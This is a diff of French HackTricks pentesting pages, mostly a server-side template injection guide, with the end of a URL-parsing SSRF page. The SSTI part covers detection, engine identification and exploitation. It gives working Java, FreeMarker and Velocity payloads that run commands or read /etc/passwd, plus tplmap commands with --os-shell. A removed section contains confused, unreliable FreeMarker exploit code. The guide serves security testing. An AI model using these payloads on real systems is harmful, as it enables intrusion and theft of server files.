@ -202,17 +196,17 @@ self.end_headers()
|
|||
|
||||
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
```
|
||||
## Astuces expliquées
|
||||
## Astuces Expliquées
|
||||
|
||||
### Astuce du backslash
|
||||
|
||||
En bref, l'_astuce du backslash_ repose sur l'exploitation d'une légère différence entre deux spécifications de "URL" : la [norme WHATWG URL](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 est une spécification générique et polyvalente pour la syntaxe des _Uniform Resource Identifiers_ (URI), tandis que la norme WHATWG URL est spécifiquement destinée au Web et aux URL (qui sont un sous-ensemble des URI). Les navigateurs modernes implémentent la norme WHATWG URL.
|
||||
En résumé, l'_astuce du backslash_ repose sur l'exploitation d'une petite différence entre deux spécifications d'URL : la [Norme URL WHATWG](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 est une spécification générique et polyvalente pour la syntaxe des _Identifiants de Ressource Uniformes_ (URI), tandis que la Norme URL WHATWG est spécifiquement destinée au Web et aux URL (qui sont un sous-ensemble des URI). Les navigateurs modernes implémentent la Norme URL WHATWG.
|
||||
|
||||
Les deux spécifications décrivent une façon d'analyser les URI/URL, avec une légère différence. La spécification WHATWG décrit [un caractère supplémentaire](https://url.spec.whatwg.org/#authority-state), le `\`, qui se comporte comme `/` : il met fin au nom d'hôte et à l'autorité et débute le chemin de l'URL.
|
||||
Les deux décrivent une manière d'analyser les URI/URL, avec une légère différence. La spécification WHATWG décrit [un caractère supplémentaire](https://url.spec.whatwg.org/#authority-state), le `\`, qui se comporte exactement comme `/` : il termine le nom d'hôte et l'autorité et commence le chemin de l'URL.
|
||||
|
||||
![Les deux spécifications analysant la même URL différemment](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
![Les deux spécifications analysent différemment la même URL](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
### Autres confusions
|
||||
### Autres Confusions
|
||||
|
||||
![](<../../.gitbook/assets/image (629).png>)
|
||||
|
||||
|
@ -221,19 +215,21 @@ image de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-co
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives et détecte les problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,49 +2,51 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) est l'événement le plus important en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||||
[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir la connaissance technique**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Qu'est-ce que l'injection de modèle côté serveur ?
|
||||
|
||||
Une injection de modèle côté serveur se produit lorsque un attaquant est capable d'utiliser la syntaxe de modèle native pour injecter une charge utile malveillante dans un modèle, qui est ensuite exécuté côté serveur.
|
||||
Une injection de modèle côté serveur se produit lorsqu'un attaquant est capable d'utiliser la syntaxe native du modèle pour injecter une charge malveillante dans un modèle, qui est ensuite exécutée côté serveur.
|
||||
|
||||
Les **moteurs de modèle** sont conçus pour **générer des pages web** en **combinant** des modèles **fixes** avec des données **volatiles**. Les attaques d'injection de modèle côté serveur peuvent se produire lorsque l'**entrée utilisateur** est concaténée directement **dans un modèle**, plutôt que transmise en tant que données. Cela permet aux attaquants d'**injecter des directives de modèle arbitraires** afin de manipuler le moteur de modèle, leur permettant souvent de prendre **le contrôle complet du serveur**.
|
||||
Les **moteurs de modèles** sont conçus pour **générer des pages web** en **combinant** des modèles **fixes** avec des données **volatiles**. Les attaques par injection de modèle côté serveur peuvent se produire lorsque **l'entrée de l'utilisateur** est concaténée directement **dans un modèle**, plutôt que passée en tant que données. Cela permet aux attaquants d'**injecter des directives de modèle arbitraires** afin de manipuler le moteur de modèle, leur permettant souvent de prendre **le contrôle complet du serveur**.
|
||||
|
||||
Un exemple de code vulnérable est le suivant :
|
||||
```php
|
||||
$output = $twig->render("Dear " . $_GET['name']);
|
||||
```
|
||||
Dans l'exemple précédent, **une partie du modèle** lui-même est **générée dynamiquement** en utilisant le paramètre `GET` `name`. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant d'insérer une charge utile d'injection de modèle côté serveur dans le paramètre `name` de la manière suivante :
|
||||
Dans l'exemple précédent, **une partie du modèle** est **générée dynamiquement** à l'aide du paramètre `GET` `name`. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant d'insérer un payload d'injection de modèle côté serveur dans le paramètre `name` comme suit :
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
## Construction d'une attaque d'injection de modèle côté serveur
|
||||
## Construction d'une attaque par injection de modèle côté serveur
|
||||
|
||||
![](../../.gitbook/assets/ssti-methodology-diagram.png)
|
||||
|
||||
### Détection
|
||||
### Détecter
|
||||
|
||||
Comme pour toute vulnérabilité, la première étape vers l'exploitation consiste à la trouver. Peut-être la méthode la plus simple consiste à essayer de **fuzzer le modèle** en injectant une séquence de caractères spéciaux couramment utilisés dans les expressions de modèle, tels que le polyglotte **`${{<%[%'"}}%\`.**\
|
||||
Pour vérifier si le serveur est vulnérable, vous devez **repérer les différences** entre la réponse avec des **données régulières** sur le paramètre et la **charge utile donnée**.\
|
||||
Si une **erreur est renvoyée**, il sera assez facile de déterminer que **le serveur est vulnérable** et même quel **moteur est utilisé**. Mais vous pouvez également trouver un serveur vulnérable si vous vous attendiez à ce qu'il **reflète** la charge utile donnée et qu'il ne le fait **pas** ou s'il manque certains **caractères** dans la réponse.
|
||||
Comme pour toute vulnérabilité, la première étape vers l'exploitation est de pouvoir la trouver. Peut-être que l'approche initiale la plus simple est d'essayer de **fuzzer le modèle** en injectant une séquence de caractères spéciaux couramment utilisés dans les expressions de modèle, tels que le polyglotte **`${{<%[%'"}}%\`.**\
|
||||
Pour vérifier si le serveur est vulnérable, vous devez **repérer les différences** entre la réponse avec des **données régulières** sur le paramètre et le **payload donné**.\
|
||||
Si une **erreur est déclenchée**, il sera assez facile de déterminer que **le serveur est vulnérable** et même quel **moteur est en cours d'exécution**. Mais vous pourriez également trouver un serveur vulnérable si vous vous attendiez à ce qu'il **reflète** le payload donné et qu'il **n'est pas reflété**, ou s'il y a des **caractères manquants** dans la réponse.
|
||||
|
||||
**Détection - Contexte en texte brut**
|
||||
**Détecter - Contexte en texte brut**
|
||||
|
||||
L'entrée donnée est **rendue et reflétée** dans la réponse. Cela peut facilement être confondu avec une vulnérabilité **XSS** (cross-site scripting) simple, mais il est facile de faire la différence si vous essayez d'effectuer des **opérations mathématiques** dans une expression de modèle :
|
||||
L'entrée donnée est **rendue et reflétée** dans la réponse. Cela est facilement **confondu avec une simple** vulnérabilité [**XSS**](../xss-cross-site-scripting/), mais il est facile de différencier si vous essayez de définir des **opérations mathématiques** à l'intérieur d'une expression de modèle :
|
||||
```
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
|
@ -55,21 +57,21 @@ ${{7*7}}
|
|||
```
|
||||
**Détecter - Contexte du code**
|
||||
|
||||
Dans ces cas, l'**entrée de l'utilisateur** est placée **à l'intérieur** d'une **expression de modèle** :
|
||||
Dans ces cas, **l'entrée utilisateur** est placée **à l'intérieur** d'une **expression de modèle** :
|
||||
```python
|
||||
engine.render("Hello {{"+greeting+"}}", data)
|
||||
```
|
||||
L'accès à l'URL de cette page pourrait être similaire à : `http://vulnerable-website.com/?greeting=data.username`
|
||||
L'accès à l'URL de cette page pourrait ressembler à : `http://vulnerable-website.com/?greeting=data.username`
|
||||
|
||||
Si vous **changez** le paramètre **`greeting`** pour une **valeur différente**, la **réponse ne contiendra pas le nom d'utilisateur**, mais si vous accédez à quelque chose comme : `http://vulnerable-website.com/?greeting=data.username}}hello`, **la réponse contiendra le nom d'utilisateur** (si les caractères de fermeture de l'expression de modèle étaient **`}}`**).\
|
||||
Si une **erreur** se produit lors de ces tests, il sera plus facile de trouver que le serveur est vulnérable.
|
||||
Si vous **changez** le paramètre **`greeting`** pour une **valeur différente**, la **réponse ne contiendra pas le nom d'utilisateur**, mais si vous accédez à quelque chose comme : `http://vulnerable-website.com/?greeting=data.username}}hello`, alors, **la réponse contiendra le nom d'utilisateur** (si les caractères de fermeture de l'expression de template étaient **`}}`**).\
|
||||
Si une **erreur** est générée lors de ces tests, il sera plus facile de détecter que le serveur est vulnérable.
|
||||
|
||||
### Identification
|
||||
### Identifier
|
||||
|
||||
Une fois que vous avez détecté le potentiel d'injection de modèle, l'étape suivante consiste à identifier le moteur de modèle.\
|
||||
Bien qu'il existe un grand nombre de langages de modélisation, beaucoup d'entre eux utilisent une syntaxe très similaire qui est spécifiquement choisie pour ne pas entrer en conflit avec les caractères HTML.
|
||||
Une fois que vous avez détecté le potentiel d'injection de template, l'étape suivante est d'identifier le moteur de template.\
|
||||
Bien qu'il existe un grand nombre de langages de templating, beaucoup utilisent une syntaxe très similaire qui est spécifiquement choisie pour ne pas entrer en conflit avec les caractères HTML.
|
||||
|
||||
Si vous avez de la chance, le serveur **affichera les erreurs** et vous pourrez trouver le **moteur** utilisé **à l'intérieur** des erreurs. Voici quelques charges utiles possibles qui peuvent provoquer des erreurs :
|
||||
Si vous avez de la chance, le serveur affichera les **erreurs** et vous pourrez trouver le **moteur** utilisé **à l'intérieur** des erreurs. Voici quelques charges utiles possibles qui peuvent causer des erreurs :
|
||||
|
||||
| `${}` | `{{}}` | `<%= %>` |
|
||||
| ----------- | ------------ | --------------- |
|
||||
|
@ -77,52 +79,63 @@ Si vous avez de la chance, le serveur **affichera les erreurs** et vous pourrez
|
|||
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
||||
| `${7*7}` | `{{7*7}}` | \`\` |
|
||||
|
||||
Sinon, vous devrez tester manuellement différentes charges utiles spécifiques à chaque langage et étudier comment elles sont interprétées par le moteur de modèle. Une façon courante de procéder consiste à injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de modèle. Vous pouvez ensuite observer s'ils sont évalués avec succès. Pour vous aider dans ce processus, vous pouvez utiliser un arbre de décision similaire à celui-ci :
|
||||
Sinon, vous devrez **tester manuellement différentes charges utiles spécifiques au langage** et étudier comment elles sont interprétées par le moteur de template. Une manière courante de faire cela est d'injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de template. Vous pouvez ensuite observer si elles sont évaluées avec succès. Pour aider dans ce processus, vous pouvez utiliser un arbre de décision similaire au suivant :
|
||||
|
||||
![](<../../.gitbook/assets/image (272).png>)
|
||||
|
||||
### Exploitation
|
||||
### Exploiter
|
||||
|
||||
**Lecture**
|
||||
**Lire**
|
||||
|
||||
La première étape après avoir trouvé une injection de modèle et identifié le moteur de modèle consiste à lire la documentation. Les domaines clés d'intérêt sont :
|
||||
La première étape après avoir trouvé une injection de template et identifié le moteur de template est de lire la documentation. Les domaines clés d'intérêt sont :
|
||||
|
||||
* Les sections "Pour les auteurs de modèles" qui couvrent la syntaxe de base.
|
||||
* Les "Considérations de sécurité" - il est probable que la personne qui a développé l'application que vous testez ne les a pas lues, et elles peuvent contenir des indications utiles.
|
||||
* Les listes de méthodes, fonctions, filtres et variables intégrées.
|
||||
* Les listes d'extensions/plugins - certaines peuvent être activées par défaut.
|
||||
* Les sections 'Pour les auteurs de templates' couvrant la syntaxe de base.
|
||||
* 'Considérations de sécurité' - il y a des chances que celui qui a développé l'application que vous testez n'ait pas lu cela, et cela peut contenir des indices utiles.
|
||||
* Listes de méthodes, fonctions, filtres et variables intégrés.
|
||||
* Listes d'extensions/plugins - certains peuvent être activés par défaut.
|
||||
|
||||
**Exploration**
|
||||
**Explorer**
|
||||
|
||||
En supposant qu'aucune exploitation ne se soit présentée, l'étape suivante consiste à **explorer l'environnement** pour savoir exactement à quoi **vous avez accès**. Vous pouvez vous attendre à trouver à la fois des **objets par défaut** fournis par le moteur de modèle et des **objets spécifiques à l'application** transmis au modèle par le développeur. De nombreux systèmes de modélisation exposent un objet "self" ou un objet d'espace de noms contenant tout ce qui est en scope, ainsi qu'une manière idiomatique de lister les attributs et méthodes d'un objet.
|
||||
En supposant qu'aucune faille ne se soit présentée, l'étape suivante est d'**explorer l'environnement** pour découvrir exactement à **quoi vous avez accès**. Vous pouvez vous attendre à trouver à la fois des **objets par défaut** fournis par le moteur de template, et des **objets spécifiques à l'application** passés dans le template par le développeur. De nombreux systèmes de template exposent un objet 'self' ou un espace de noms contenant tout ce qui est dans le contexte, et une manière idiomatique de lister les attributs et méthodes d'un objet.
|
||||
|
||||
S'il n'y a pas d'objet self intégré, vous devrez deviner les noms de variables en utilisant [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) et la collection de listes de mots de passe de Burp Intruder.
|
||||
S'il n'y a pas d'objet self intégré, vous allez devoir forcer le nom des variables en utilisant [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) et la collection de listes de mots de Burp Intruder.
|
||||
|
||||
Les objets fournis par le développeur sont particulièrement susceptibles de contenir des informations sensibles et peuvent varier entre différents modèles au sein d'une application, il est donc préférable d'appliquer ce processus à chaque modèle distinct individuellement.
|
||||
Les objets fournis par les développeurs sont particulièrement susceptibles de contenir des informations sensibles et peuvent varier entre différents templates au sein d'une application, donc ce processus devrait idéalement être appliqué à chaque template distinct individuellement.
|
||||
|
||||
**Attaque**
|
||||
**Attaquer**
|
||||
|
||||
À ce stade, vous devriez avoir une **idée précise de la surface d'attaque** à votre disposition et être en mesure de procéder avec les techniques d'audit de sécurité traditionnelles, en examinant chaque fonction pour trouver des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application dans son ensemble - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples qui suivent utiliseront l'injection de modèle pour déclencher la création arbitraire d'objets, la lecture/écriture arbitraire de fichiers, l'inclusion de fichiers distants, la divulgation d'informations et l'escalade de privilèges.
|
||||
À ce stade, vous devriez avoir une **idée précise de la surface d'attaque disponible** et être en mesure de procéder avec les techniques d'audit de sécurité traditionnelles, en examinant chaque fonction pour des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application plus large - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples à suivre utiliseront l'injection de template pour déclencher la création d'objets arbitraires, la lecture/écriture de fichiers arbitraires, l'inclusion de fichiers distants, la divulgation d'informations et les vulnérabilités d'élévation de privilèges.
|
||||
|
||||
## Outils
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
un scanner efficace SSTI + CSTI qui utilise des polyglottes novateurs
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
```
|
||||
### [Tplmap](https://github.com/epinna/tplmap)
|
||||
```python
|
||||
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||||
```
|
||||
### [Tableau d'injection de modèles](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
un tableau interactif contenant les polyglottes d'injection de modèles les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèles les plus importants.
|
||||
|
||||
## Exploits
|
||||
|
||||
### Générique
|
||||
|
||||
Dans cette **liste de mots**, vous pouvez trouver les **variables définies** dans les environnements de certains moteurs mentionnés ci-dessous :
|
||||
Dans cette **liste de mots**, vous pouvez trouver des **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous :
|
||||
|
||||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
|
||||
### Java
|
||||
|
||||
**Java - Injection basique**
|
||||
**Java - Injection de base**
|
||||
```java
|
||||
${7*7}
|
||||
${{7*7}}
|
||||
|
@ -131,87 +144,10 @@ ${class.getResource("").getPath()}
|
|||
${class.getResource("../../../../../index.htm").getContent()}
|
||||
```
|
||||
**Java - Récupérer les variables d'environnement du système**
|
||||
|
||||
Lors de l'évaluation de la sécurité d'une application, il peut être utile de récupérer les variables d'environnement du système sur lequel l'application est exécutée. Cela peut fournir des informations précieuses pour comprendre l'environnement dans lequel l'application est déployée.
|
||||
|
||||
En Java, vous pouvez utiliser la classe `System` pour accéder aux variables d'environnement du système. La méthode `getenv()` de cette classe renvoie un objet `Map` contenant toutes les variables d'environnement.
|
||||
|
||||
Voici un exemple de code qui récupère et affiche les variables d'environnement du système :
|
||||
|
||||
```java
|
||||
import java.util.Map;
|
||||
|
||||
public class SystemEnvironmentVariables {
|
||||
public static void main(String[] args) {
|
||||
Map<String, String> env = System.getenv();
|
||||
for (Map.Entry<String, String> entry : env.entrySet()) {
|
||||
System.out.println(entry.getKey() + " = " + entry.getValue());
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Ce code utilise la méthode `entrySet()` pour itérer sur toutes les entrées de la carte des variables d'environnement. Chaque entrée est ensuite affichée à l'aide de la méthode `println()`.
|
||||
|
||||
Lors de l'exécution de ce code, vous verrez s'afficher les noms et les valeurs des variables d'environnement du système.
|
||||
|
||||
Il est important de noter que l'accès aux variables d'environnement peut être limité en fonction des autorisations de l'application. Assurez-vous d'avoir les droits nécessaires pour accéder à ces informations.
|
||||
```java
|
||||
${T(java.lang.System).getenv()}
|
||||
```
|
||||
# Java - Récupérer /etc/passwd
|
||||
|
||||
## Description
|
||||
|
||||
Cette technique de piratage concerne l'injection de modèle côté serveur (Server-Side Template Injection - SSTI). Elle permet à un attaquant d'exécuter du code malveillant sur le serveur en exploitant une vulnérabilité dans le système de gestion de modèles utilisé par l'application web.
|
||||
|
||||
L'injection de modèle côté serveur se produit lorsque l'application web utilise un moteur de modèle qui permet l'exécution de code arbitraire. L'attaquant peut exploiter cette vulnérabilité en injectant du code malveillant dans les modèles de l'application, ce qui permet d'exécuter des commandes système sur le serveur.
|
||||
|
||||
Dans cet exemple, nous allons utiliser Java pour exploiter une vulnérabilité de SSTI et récupérer le fichier `/etc/passwd` du serveur.
|
||||
|
||||
## Exploitation
|
||||
|
||||
Pour exploiter cette vulnérabilité, nous devons identifier l'endroit où l'injection de modèle se produit dans l'application web. Cela peut être un champ de formulaire, un paramètre d'URL ou tout autre endroit où l'application utilise un moteur de modèle.
|
||||
|
||||
Une fois que nous avons identifié l'endroit de l'injection de modèle, nous pouvons utiliser une syntaxe spécifique pour exécuter du code Java. Dans cet exemple, nous utiliserons la syntaxe Freemarker, un moteur de modèle populaire en Java.
|
||||
|
||||
Voici un exemple de code Java qui exploite la vulnérabilité de SSTI et récupère le fichier `/etc/passwd` :
|
||||
|
||||
```java
|
||||
import freemarker.template.Configuration;
|
||||
import freemarker.template.Template;
|
||||
|
||||
import java.io.StringWriter;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class SSTIExploit {
|
||||
public static void main(String[] args) throws Exception {
|
||||
Configuration cfg = new Configuration(Configuration.VERSION_2_3_30);
|
||||
cfg.setClassForTemplateLoading(SSTIExploit.class, "/");
|
||||
|
||||
Template template = cfg.getTemplate("{{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/cat /etc/passwd')}}");
|
||||
|
||||
StringWriter writer = new StringWriter();
|
||||
Map<String, Object> data = new HashMap<>();
|
||||
template.process(data, writer);
|
||||
|
||||
System.out.println(writer.toString());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Ce code utilise Freemarker pour injecter du code Java malveillant dans le modèle. Lorsque le modèle est traité, la méthode `exec` de la classe `Runtime` est appelée pour exécuter la commande système `/bin/cat /etc/passwd`. Le résultat est ensuite affiché dans la console.
|
||||
|
||||
## Prévention
|
||||
|
||||
Pour prévenir les attaques de SSTI, il est important de :
|
||||
|
||||
- Utiliser des moteurs de modèle sécurisés qui n'autorisent pas l'exécution de code arbitraire.
|
||||
- Valider et filtrer les entrées utilisateur pour éviter les injections de modèle.
|
||||
- Mettre à jour régulièrement les bibliothèques et les frameworks utilisés par l'application pour bénéficier des dernières corrections de sécurité.
|
||||
|
||||
Il est également recommandé de réaliser des tests de pénétration réguliers pour identifier et corriger les vulnérabilités de SSTI dans l'application web.
|
||||
**Java - Récupérer /etc/passwd**
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||||
|
||||
|
@ -219,11 +155,11 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
|
|||
```
|
||||
### FreeMarker (Java)
|
||||
|
||||
Vous pouvez essayer vos charges utiles sur [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
|
||||
Vous pouvez tester vos charges utiles sur [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
|
||||
|
||||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = 49`
|
||||
* `#{7*7} = 49 -- (legacy)`
|
||||
* `#{7*7} = 49 -- (héritage)`
|
||||
* `${7*'7'} Rien`
|
||||
* `${foobar}`
|
||||
```java
|
||||
|
@ -233,7 +169,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
|||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - Contournement du bac à sable**
|
||||
**Freemarker - Contournement de Sandbox**
|
||||
|
||||
⚠️ fonctionne uniquement sur les versions de Freemarker inférieures à 2.3.30
|
||||
```java
|
||||
|
@ -266,16 +202,16 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
|
||||
### Thymeleaf (Java)
|
||||
|
||||
L'expression de test typique pour SSTI est `${7*7}`. Cette expression fonctionne également avec Thymeleaf. Si vous souhaitez obtenir une exécution de code à distance, vous pouvez utiliser l'une des expressions de test suivantes :
|
||||
L'expression de test typique pour SSTI est `${7*7}`. Cette expression fonctionne également dans Thymeleaf. Si vous souhaitez réaliser une exécution de code à distance, vous pouvez utiliser l'une des expressions de test suivantes :
|
||||
|
||||
* SpringEL : `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
||||
